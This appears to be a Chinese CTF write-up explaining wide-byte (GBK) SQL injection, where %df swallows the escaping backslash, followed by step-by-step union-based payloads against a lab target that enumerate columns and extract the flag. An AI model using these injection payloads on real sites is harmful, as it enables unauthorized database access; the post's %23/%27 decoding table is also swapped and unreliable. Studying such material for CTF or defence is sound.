0%

宽字节

2025-09-28 14:49By
qiuhait
WEBSQL注入

Problem: 宽字节注入

思路

  • 解题大致思路

EXP

  • 具体攻击代码

总结

  • 对该题的考点总结

宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。

  GBK 占用两字节

  ASCII占用一字节

  PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。

  输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。

  %DF’ :会被PHP当中的addslashes函数转义为“%DF**'” ,“**”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗**’**”

例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

其对应的sql就是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

URLdecode解码

%23: ’

%27: #

例题:

靶机:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

解题思路

1.先尝试单引号?id=1’ ?id=1%27,发现页面输出的

引号被转义了,在前面加了一个 \ 符号

尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了

构造:?id=1%df%27

报错

  • 输入id=1%df' and 1=1 %23 ,显示正常

输入id=1%df' and 1=2 %23 ,未显示任何信息,说明找到了

注入点,接下来进行常规注入

  • 判断列数:id=1%df' order by 2 %23,显示正常,当%df' order by 3 %23时,报错,确定为2列

  • union联合查询,id=1%df' and 1=2 union select 1,2 %23

  • 获取当前数据库,id=1%df' and 1=2 union select 1,database() %23

  • 获取数据库名,`

  • ?id=1%df%27%20union%20select%201,database()--+ #test
  • 发现test表,随便查看一个,查看test表的列明。

    ?id=1%df%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x663161675f7461626c65--+ #i_am_f1ag_column
  • ​ 爆内容

?id=1%df%27%20union%20select%201,group_concat(i_am_f1ag_column)%20from%20test.f1ag_table--+
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论